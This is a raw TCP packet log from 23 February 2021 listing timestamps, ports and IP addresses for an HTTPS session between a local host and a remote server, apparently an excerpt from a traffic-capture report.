Feb 23, 2021 10:04:39.601144075 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.601222038 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.601991892 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.602018118 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.602039099 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.602058887 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.602144957 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.602941036 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.602967024 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.602987051 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.603007078 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.603085995 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.603904009 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.603929996 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.603955984 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.603977919 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.603990078 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.604044914 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.604821920 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.604849100 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.604868889 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.604883909 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.604906082 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.604954004 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.605573893 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.605602980 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.605626106 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.605645895 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.605700970 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.606511116 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.606554985 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.606581926 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.606607914 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.606641054 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.606667995 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.607466936 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.607510090 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.607533932 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.607558012 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.607584953 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.607611895 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.608417988 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.608438969 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.608453035 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.608469963 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.608500004 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.608539104 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.609338045 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.609358072 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.609378099 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.609421015 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.609431028 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.609481096 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.610300064 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.610321999 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.610337973 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.610361099 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.610435009 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.611228943 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.611252069 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.611268044 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.611289024 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.611305952 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.611335039 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.612196922 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.612221003 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.612236023 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.612253904 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.612282991 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.612307072 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.613147020 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.613168955 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.613183975 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.613200903 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.613274097 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.614082098 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.614106894 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.614120960 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.614139080 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.614185095 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.614207983 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.615016937 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.615039110 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.615055084 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.615071058 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.615098000 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.615120888 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.615966082 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.615988016 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.616004944 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.616022110 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.616051912 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.616074085 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.637546062 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.637581110 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.637593985 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.637603998 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.637618065 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.637630939 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.637643099 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.637664080 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.637765884 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.637811899 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.638580084 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.638606071 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.638622999 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.638638020 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.638716936 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.638741970 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.639503956 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.639525890 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.639540911 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.639558077 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.639628887 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.639652967 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.640455961 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.640480042 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.640495062 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.640511036 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.640553951 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.640575886 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.641449928 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.641472101 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.641489029 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.641505003 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.641561985 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.641593933 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.642349958 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.642373085 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.642389059 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.642406940 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.642457962 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.642497063 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.643296003 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.643313885 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.643335104 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.643351078 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.643408060 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.643431902 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.644251108 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.644268990 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.644280910 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.644296885 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.644345999 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.644408941 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.645219088 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.645236969 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.645251036 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.645270109 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.645304918 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.645364046 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.646106005 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.646121979 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.646136045 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.646151066 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.646179914 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.646209002 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.647046089 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.647063971 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.647075891 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.647093058 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.647129059 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.647150993 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.648004055 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.648020983 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.648036003 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.648051023 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.648082972 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.648114920 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.648938894 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.648957968 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.648974895 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.648991108 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.649014950 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.649044991 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.649851084 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.649869919 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.649885893 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.649900913 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.649940968 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.649967909 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.650846004 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.650861979 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.650873899 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.650890112 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.650948048 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.650975943 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.651793957 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.651809931 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.651824951 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.651840925 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.651909113 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.651942015 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.652726889 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.652744055 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.652759075 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.652774096 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.652826071 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.652883053 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.653671980 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.653690100 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.653702974 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.653722048 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.653759003 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.653784990 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.654613018 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.654633999 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.654650927 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.654668093 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.654696941 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.654725075 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.655572891 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.655591011 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.655606031 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.655622005 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.655662060 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.655684948 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.656506062 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.656522036 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.656537056 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.656569958 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.656596899 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.656618118 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.657490969 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.657510042 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.657525063 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.657541037 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.657581091 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.657613039 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.658416033 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.658437967 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.658457041 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.658478022 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.658489943 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.658516884 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.659372091 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.659393072 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.659416914 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.659439087 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.659497976 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.660284042 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.660306931 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.660326958 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.660347939 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.660408020 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.661250114 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.661272049 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.661290884 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.661310911 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.661335945 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.661355972 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.662180901 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.662201881 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.662221909 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.662241936 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.662267923 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.662292004 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.663131952 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.663152933 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.663177967 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.663199902 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.663213968 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.663274050 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.664076090 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.664098024 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.664117098 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.664138079 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.664160967 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.664201975 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.665031910 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.665055037 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.665072918 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.665092945 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.665121078 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.665143013 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.665971994 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.665994883 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.666030884 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.666060925 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.666135073 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.666168928 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.666922092 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.666954041 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.666980982 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.667005062 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.667038918 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.667081118 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.667912006 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.667939901 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.667972088 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.668001890 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.668049097 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.668071985 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.668817043 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.668843985 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.668885946 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.668914080 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.668953896 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.668973923 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.669774055 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.669802904 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.669828892 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.669855118 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.669882059 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.669908047 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.670700073 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.670738935 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.670767069 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.670794010 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.670829058 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.670855045 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.671638012 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.671665907 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.671698093 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.671726942 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.671765089 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.671791077 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.672669888 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.672698021 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.672723055 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.672750950 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.672770023 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.672811031 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.673563004 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.673592091 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.673619032 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.673644066 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.673655987 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.673691988 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.674473047 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.674501896 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.674526930 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.674552917 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.674555063 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.674590111 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.678643942 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.678683043 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.678726912 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.678767920 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.678800106 CET	49769	443	192.168.2.6	104.21.50.15
